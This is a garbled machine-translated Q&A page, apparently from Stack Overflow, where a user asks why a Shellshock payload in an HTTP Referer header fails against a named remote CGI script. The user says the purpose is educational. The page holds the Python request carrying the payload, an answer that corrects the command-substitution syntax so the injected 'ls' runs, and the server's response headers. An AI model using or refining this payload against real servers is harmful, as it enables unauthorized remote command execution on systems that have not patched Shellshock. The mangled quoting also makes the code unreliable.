如何使用python从http头在服务器中执行bash命令?
我有以下python脚本如何使用python从http头在服务器中执行bash命令?,python,bash,ubuntu,cgi,Python,Bash,Ubuntu,Cgi,我有以下python脚本 headers={'Referer':“”“(){:;};y=“($ls)”;echo'ls_结果:'$y;“” r=请求。获取(“http://manticore.2y.net/cgi-bin/dlwct.sh,headers=headers) 及 是 当我在标题中通过y=“(ls)”时。我在响应头中得到'ls_result':'(ls)。 为什么要从我的输入中删除$? 如何在响应头中列出目录? PS:这是出于教育目的执行命令并将其输出分配给变量的语法为: y="$
headers={'Referer':“”“(){:;};y=“($ls)”;echo'ls_结果:'$y;“”
r=请求。获取(“http://manticore.2y.net/cgi-bin/dlwct.sh,headers=headers)
及
是
当我在标题中通过y=“(ls)”时。我在响应头中得到'ls_result':'(ls)
。
为什么要从我的输入中删除$?
如何在响应头中列出目录?
PS:这是出于教育目的执行命令并将其输出分配给变量的语法为:
y="$(ls)"
括号内有$
,应该在括号外
请注意,只有在您尚未修补ShellShock漏洞的情况下,代码才会执行shell命令
{
'x-rdir': '""', 'x-vps': 'yes',
'transfer-encoding': 'chunked',
'server': 'Apache/1.3.29',
'connection': 'close',
'date': 'Thu, 23 Oct 2014 09:13:47 GMT',
'ls_result': '()',
'content-type': 'text/html'
}
y="$(ls)"